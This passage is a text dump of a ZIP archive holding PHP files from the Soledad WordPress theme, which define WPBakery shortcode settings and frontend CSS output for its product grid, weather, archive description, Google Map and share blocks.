			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination View More Background Color', 'soledad' ),
			'param_name'       => 'product_pagination_viewmore_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination View More Hover Background Color', 'soledad' ),
			'param_name'       => 'product_pagination_viewmore_hover_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination View More Text Color', 'soledad' ),
			'param_name'       => 'product_pagination_viewmore_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination View More Hover Text Color', 'soledad' ),
			'param_name'       => 'product_pagination_viewmore_hover_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\}u	  	  +  js_composer/shortcodes/product/frontend.phpnu [        <?php
$output                 = $el_class = $css_animation = $css = $responsive_spacing = '';
$heading_title_style    = $heading = $heading_title_link = $heading_title_align = '';
$post_type              = $include = $exclude = $taxonomies = $orderby = $offset = $query_type = $order = $meta_key = $layout = $columns = $items_per_page = $pagination = $shop_tools = $scroll_per_page = '';
$hide_prev_next_buttons = $center_mode = $wrap = $autoplay = $speed = $product_style = '';
$img_size               = $img_custom_size = $sale_countdown = $stock_progress_bar = $highlighted_products = $product_quantity = '';
$item_vertical_spacing  = $item_horizontal_spacing = $hide_hot_label = $hide_new_label = $hide_sale_label = '';

$product_title_color = $product_title_font_size = $product_category_color = $product_category_font_size = $product_price_color = $product_price_font_size = $product_pagination_color = $product_pagination_boder_color = $product_pagination_hover_color = $product_pagination_border_hover_color = $product_pagination_current_item_color = $product_pagination_current_item_border_color = $product_pagination_current_bg_color = $product_pagination_viewmore_bg_color = $product_pagination_viewmore_hover_bg_color = $product_pagination_viewmore_text_color = $product_pagination_viewmore_hover_text_color = '';

$atts              = vc_map_get_attributes( $this->getShortcode(), $atts );
$atts['elementor'] = false;
extract( $atts );

$atts['hide_prev_next_buttons']  = 'yes' == $atts['hide_prev_next_buttons'];
$atts['hide_pagination_control'] = 'yes' == $atts['hide_pagination_control'];
$atts['wrap']                    = 'yes' == $atts['wrap'];
$atts['autoplay']                = 'yes' == $atts['autoplay'];
$atts['scroll_carousel_init']    = 'yes' == $atts['scroll_carousel_init'];
$atts['sale_countdown']          = 'yes' == $atts['sale_countdown'];
$atts['stock_progress_bar']      = 'yes' == $atts['stock_progress_bar'];
$atts['product_categories']      = 'yes' == $atts['product_categories'];
$atts['product_rating']          = 'yes' == $atts['product_rating'];

$css_class = 'penci-vc_product elementor-widget-container';

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );
$css_class       .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id        = Penci_Vc_Helper::get_unique_id_block( 'penci_product' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php
		Penci_Vc_Helper::markup_block_title( $atts );
		penci_elementor_products_template( $atts, true );
		?>
    </div>

<?php
// CUSTOM CSS
$id_product = '#' . $block_id;
$id_product2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_product, $atts );

if ( $product_title_color ) {
	$css_custom .= $id_product2 . ' ul.products .penci-soledad-product .penci-product-loop-title h3{color:' . $product_title_color . '}';
	$css_custom .= $id_product2 . ' ul.products .penci-soledad-product .penci-product-loop-title h3 a{color:' . $product_title_color . '}';
}

if ( $product_title_font_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . ' ul.products .penci-soledad-product .penci-product-loop-title h3{font-size:{{VALUE}}px}', $product_title_font_size );
}

if ( $product_category_color ) {
	$css_custom .= $id_product2 . ' ul.products li.product .penci-product-cats a{color:' . $product_category_color . '}';
}

if ( $product_category_font_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . ' ul.products li.product .penci-product-cats a{font-size:{{VALUE}}px}', $product_category_font_size );
}

if ( $product_price_color ) {
	$css_custom .= $id_product2 . ' ul.products li.product .price{color:' . $product_price_color . '}';
}

if ( $product_price_font_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . ' ul.products li.product .price{font-size:{{VALUE}}px}', $product_price_font_size );
}

if ( $product_pagination_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li a{color:' . $product_pagination_color . '}';
}

if ( $product_pagination_boder_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li a{border-color:' . $product_pagination_boder_color . '}';
}

if ( $product_pagination_hover_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li a:hover{color:' . $product_pagination_hover_color . '}';
}

if ( $product_pagination_border_hover_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li a:hover{color:' . $product_pagination_border_hover_color . '}';
}

if ( $product_pagination_current_item_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li span.current{color:' . $product_pagination_border_hover_color . '}';
}

if ( $product_pagination_current_item_border_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li span.current{border-color:' . $product_pagination_border_hover_color . '}';
}

if ( $product_pagination_current_bg_color ) {
	$css_custom .= $id_product . ' nav.woocommerce-pagination ul li span.current{background-color:' . $product_pagination_current_bg_color . '}';
}

if ( $product_pagination_viewmore_bg_color ) {
	$css_custom .= $id_product2 . '  .penci-woo-page-container .page-load-button .button{background-color:' . $product_pagination_viewmore_bg_color . '}';
}

if ( $product_pagination_viewmore_text_color ) {
	$css_custom .= $id_product2 . '  .penci-woo-page-container .page-load-button .button{color:' . $product_pagination_viewmore_text_color . '}';
}

if ( $product_pagination_viewmore_hover_bg_color ) {
	$css_custom .= $id_product2 . '  .penci-woo-page-container .page-load-button .button:hover{background-color:' . $product_pagination_viewmore_hover_bg_color . '}';
}

if ( $product_pagination_viewmore_hover_text_color ) {
	$css_custom .= $id_product2 . '  .penci-woo-page-container .page-load-button .button:hover{color:' . $product_pagination_viewmore_hover_text_color . '}';
}

if ( $item_horizontal_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products{margin-left:-{{VALUE}}px;margin-right:-{{VALUE}}px}', $item_horizontal_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{padding-left:-{{VALUE}}px;padding-right:-{{VALUE}}px}', $item_horizontal_spacing );
}

if ( $item_vertical_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{margin-bottom:-{{VALUE}}}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .products.product-list .penci-soledad-product .penci-product-loop-inner-content{margin-bottom:-{{VALUE}}}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers{margin-top: calc( -25px -{{VALUE}}px)}', $item_vertical_spacing );
}

if ( $hide_hot_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.featured{display:none}';
}

if ( $hide_new_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.new{display:none}';
}

if ( $hide_sale_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.onsale{display:none}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_product, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\    +  js_composer/shortcodes/weather/settings.phpnu [        <?php
vc_map( array(
	'base'          => 'penci_weather',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/weather/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Weather', 'soledad' ),
	'description'   => __( 'Weather Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		Penci_Vc_Params_Helper::params_container_width(),
		array(
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Search your for location:', 'soledad' ),
				'param_name'  => 'penci_location',
				'std'         => 'London',
				'admin_label' => true,
				'description' => sprintf( '%s - You can use "city name" (ex: New York) or "city name,country code" (ex: New York, US)',
					'<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">' . esc_html__( 'Find your location', 'soledad' ) . '</a>' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Custom Location Name Display', 'soledad' ),
				'param_name'  => 'penci_location_show',
				'description' => esc_html__( 'If the option is empty,will display results from ', 'soledad' ) . '<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">openweathermap.org</a>',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Enable User Location', 'soledad' ),
				'param_name' => 'penci_user_loc',
				'value'      => array(
					esc_html__( 'Enable', 'soledad' ) => 'enable',
					esc_html__( 'Disble', 'soledad' ) => 'disable',
				),
				'std'        => 'disable',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Use Cookies to Save Weather Data When Users Access it Based on Their Location?', 'soledad' ),
				'description'    => esc_html__( 'This option only applies when you enable the user\'s location above.', 'soledad' ),
				'param_name' => 'penci_save_user_loc',
				'value'      => array(
					esc_html__( 'Enable', 'soledad' ) => 'enable',
					esc_html__( 'Disble', 'soledad' ) => 'disable',
				),
				'std'        => 'disable',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Units', 'soledad' ),
				'param_name' => 'penci_units',
				'value'      => array(
					esc_html__( 'F', 'soledad' ) => 'imperial',
					esc_html__( 'C', 'soledad' ) => 'metric',
				),
				'std'        => 'metric',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Forcast', 'soledad' ),
				'param_name' => 'penci_forcast',
				'value'      => array(
					esc_html__( '1 Day', 'soledad' )  => '1',
					esc_html__( '2 Days', 'soledad' ) => '2',
					esc_html__( '3 Days', 'soledad' ) => '3',
					esc_html__( '4 Days', 'soledad' ) => '4',
					esc_html__( '5 Days', 'soledad' ) => '5',
				),
				'std'        => '5',
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'color_weather_css',
				'heading'          => esc_html__( 'Weather colors', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'General color', 'soledad' ),
				'param_name'       => 'w_genneral_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Localtion color', 'soledad' ),
				'param_name'       => 'w_localtion_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_location_size',
				'heading'    => __( 'Font size for Location', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_condition_size',
				'heading'    => __( 'Font size for Cloudiness', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_whc_info_size',
				'heading'    => __( 'Font size for Wind,Humidity, Clouds', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Border color', 'soledad' ),
				'param_name'       => 'w_border_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Degrees color', 'soledad' ),
				'param_name'       => 'w_degrees_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_temp_size',
				'heading'    => __( 'Font size for Temperature', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_tempsmall_size',
				'heading'    => __( 'Font size for Min/Max Temperature', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Custom color for forecast weather in next days', 'soledad' ),
				'param_name'       => 'w_forecast_text_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Custom background for forecast weather in next days', 'soledad' ),
				'param_name'       => 'w_forecast_bg_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_forecast_size',
				'heading'    => __( 'Font size for Weather Forecast', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\4    +  js_composer/shortcodes/weather/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci_block_weather penci-weather';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'weather' );
wp_enqueue_style( 'penci-font-iweather' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
			<?php
			$weather_data = Penci_Weather::show_forecats( array(
				'location'      => $atts['penci_location'],
				'location_show' => $atts['penci_location_show'],
				'forecast_days' => $atts['penci_forcast'],
				'units'         => $atts['penci_units'],
				'user_loc'		=> $atts['penci_user_loc'] == 'enable',
				'cookie'		=> $atts['penci_save_user_loc'] == 'enable',
			) );

			if ( $weather_data ) {
				echo $weather_data;
			} else {
				echo '<div class="penci-block-error">';
				echo '<span>Weather widget</span>';
				echo ' You need to fill API key to Customize > General > Extra Options > Weather API Key to get this widget work.';
				echo '</div>';
			}
			?>
        </div>
    </div>
<?php

$id_weather = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_weather, $atts );

if ( $atts['w_genneral_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-condition,
					 %s .penci-weather-information,
					 %s .penci-weather-lo-hi__content .fa,
					 %s .penci-circle,
					 %s .penci-weather-animated-icon i,
					 %s .penci-weather-unit { color : %s; opacity: 1; }', $id_weather, $id_weather, $id_weather, $id_weather, $id_weather, $id_weather, $atts['w_genneral_color'] );
}

if ( $atts['w_localtion_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-city { color : %s; }', $id_weather, $atts['w_localtion_color'] );
}

if ( $atts['w_border_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-information { border-color : %s; }', $id_weather, $atts['w_border_color'] );
}

if ( $atts['w_degrees_color'] ) {
	$css_custom .= sprintf( '%s .penci-big-degrees,%s .penci-small-degrees { color : %s; }', $id_weather, $id_weather, $atts['w_degrees_color'] );
}

if ( $atts['w_forecast_text_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-week{ color : %s; }', $id_weather, $atts['w_forecast_text_color'] );
}

if ( $atts['w_forecast_bg_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-week:before { background-color : %s;opacity: 1; }', $id_weather, $atts['w_forecast_bg_color'] );
}

if ( $atts['w_location_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-city{ font-size: %s; }', $id_weather, $atts['w_location_size'] );
}
if ( $atts['w_condition_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-condition{ font-size: %s; }', $id_weather, $atts['w_condition_size'] );
}
if ( $atts['w_whc_info_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-information{ font-size: %s; }', $id_weather, $atts['w_whc_info_size'] );
}
if ( $atts['w_temp_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-now .penci-big-degrees{ font-size: %s; }', $id_weather, $atts['w_temp_size'] );
}
if ( $atts['w_tempsmall_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-degrees-wrap .penci-small-degrees{ font-size: %s; }', $id_weather, $atts['w_tempsmall_size'] );
}
if ( $atts['w_forecast_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-days .penci-day-degrees { font-size: %s; }', $id_weather, $atts['w_forecast_size'] );
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_weather, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\g./	  /	  :  js_composer/shortcodes/pc_archive_description/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_archive_description",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Archive Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_archive_description/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Archive Builder - Description', 'soledad' ),
	'description'   => 'Archive Builder - Description',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'text_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text Color', 'soledad' ),
			'param_name'       => 'text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'text_lcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'text_lhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family', 'soledad' ),
			'param_name' => 'use_custom_typo',
			'value'      => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'main_text_font',
			'value'      => '',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_custom_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'group'      => $group_color,
			'min'        => 1,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\¤    :  js_composer/shortcodes/pc_archive_description/frontend.phpnu [        <?php
$settings  = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_description' );
$css_class = vc_shortcode_custom_css_class( $settings['css'] );
if ( is_tag() && tag_description() ) {
	echo '<div id="' . $block_id . '" class="' . $css_class . ' penci-archive-description penci-tag-description">' . do_shortcode( tag_description() ) . '</div>';
} elseif ( is_category() && category_description() ) {
	echo '<div id="' . $block_id . '" class="' . $css_class . ' penci-archive-description penci-category-description">' . do_shortcode( category_description() ) . '</div>';
} elseif ( is_archive() ) {
	the_archive_description( '<div id="' . $block_id . '" class="' . $css_class . ' post-entry penci-category-description penci-archive-description penci-acdes-below">', '</div>' );
}
$css_custom = '';
$block_id = '#'.$block_id;
if ( $settings['text_align'] ) {
	$css_custom .= $block_id . ' .penci-category-description.post-entry{text-align:' . $settings['text_align'] . '}';
}
if ( $settings['text_color'] ) {
	$css_custom .= $block_id . ' .penci-category-description.post-entry{color:' . $settings['text_color'] . '}';
}
if ( $settings['text_lcolor'] ) {
	$css_custom .= $block_id . ' .penci-category-description.post-entry a{color:' . $settings['text_lcolor'] . '}';
}
if ( $settings['text_lhcolor'] ) {
	$css_custom .= $block_id . ' .penci-category-description.post-entry a:hover{color:' . $settings['text_lhcolor'] . '}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => $block_id . '  .penci-category-description.post-entry{ %s }',
) );
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\##h  h  .  js_composer/shortcodes/google_map/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_google_map",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/google_map/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Google Map', 'soledad' ),
	'description'   => 'Map Block',
	'controls'      => 'full',
	'params'        => array(
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Insert Map Using', 'soledad' ),
			'param_name' => 'map_using',
			'value'      => array(
				esc_html__( 'Address', 'soledad' )     => 'address',
				esc_html__( 'Coordinates', 'soledad' ) => 'coordinates',
			)
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Address', 'soledad' ),
			'param_name'  => 'address',
			'admin_label' => true,
			'dependency'  => array(
				'element' => 'map_using',
				'value'   => 'address'
			)
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Latitude', 'soledad' ),
			'param_name'  => 'latitude',
			'admin_label' => true,
			'dependency'  => array(
				'element' => 'map_using',
				'value'   => 'coordinates'
			)
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Longtitude', 'soledad' ),
			'param_name'  => 'longtitude',
			'admin_label' => true,
			'dependency'  => array(
				'element' => 'map_using',
				'value'   => 'coordinates'
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Map type', 'soledad' ),
			'param_name' => 'map_type',
			'value'      => array(
				esc_html__( 'Road', 'soledad' )      => 'road',
				esc_html__( 'Satellite', 'soledad' ) => 'satellite',
				esc_html__( 'Hybrid', 'soledad' )    => 'hybrid',
				esc_html__( 'Terrain', 'soledad' )   => 'terrain',
				esc_html__( 'Custom', 'soledad' )    => 'custom',
			)
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Width', 'soledad' ),
			'param_name'       => 'map_width',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Height', 'soledad' ),
			'param_name'       => 'map_height',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'attach_image',
			'heading'    => esc_html__( 'Marker Image', 'soledad' ),
			'param_name' => 'marker_img',
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Marker Title', 'soledad' ),
			'param_name'  => 'marker_title',
			'admin_label' => true,
		),
		array(
			'type'        => 'exploded_textarea_safe',
			'heading'     => esc_html__( 'Info Window', 'soledad' ),
			'param_name'  => 'info_window',
			'description' => ''
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Zoom', 'soledad' ),
			'param_name'       => 'map_is_zoom',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Pan', 'soledad' ),
			'param_name'       => 'map_pan',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Map scale', 'soledad' ),
			'param_name'       => 'map_scale',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Street view', 'soledad' ),
			'param_name'       => 'map_street_view',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Rotate', 'soledad' ),
			'param_name'       => 'map_rotate',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Overview map', 'soledad' ),
			'param_name'       => 'map_overview',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Zoom', 'soledad' ),
			'param_name' => 'map_zoom',
			'value'      => array(
				6  => 6,
				7  => 7,
				8  => 8,
				9  => 9,
				10 => 10,
				11 => 11,
				12 => 12,
				13 => 13,
				14 => 14,
				15 => 15,
				16 => 16,
			),
			'std'        => '8',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Scrollwheel', 'soledad' ),
			'param_name'  => 'map_scrollwheel',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		vc_map_add_css_animation(),

		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'  => 'el_class',
			'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'soledad' ),
		),
		array(
			'type'       => 'css_editor',
			'heading'    => __( 'CSS box', 'soledad' ),
			'param_name' => 'css',
			'group'      => __( 'Design Options', 'soledad' ),
		),
		penci_get_vc_responsive_spacing_map(),
	)
) );
PK     0w\Y`    .  js_composer/shortcodes/google_map/frontend.phpnu [        <?php
/**
 * Shortcode attributes
 * @var $atts
 * @var $map_width
 * @var $map_height
 * @var $map_zoom
 * @var $marker_img
 * @var $css_animation
 * @var $el_class
 * @var $css
 */

$map_width = $map_height = $map_zoom = $marker_img = '';
$el_class  = $css_animation = $css = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-google-map';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$width  = intval( $map_width ) ? $map_width : '100%';
$height = intval( $map_height ) ? $map_height : '500px';

$atts['map_zoom']   = intval( $map_zoom ? $map_zoom : 8 );
$atts['marker_img'] = wp_get_attachment_url( $marker_img );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'map' );
$option   = htmlentities( json_encode( $atts ), ENT_QUOTES, "UTF-8" );

printf( '<div style="width:%s;height:%s" id="%s" class="%s" data-map_options="%s"></div>', $width, $height, $block_id, $css_class, $option );
PK     0w\1pp  p  3  js_composer/shortcodes/pc_single_share/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_share",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_share/frontend.php',
	'weight'        => 910,
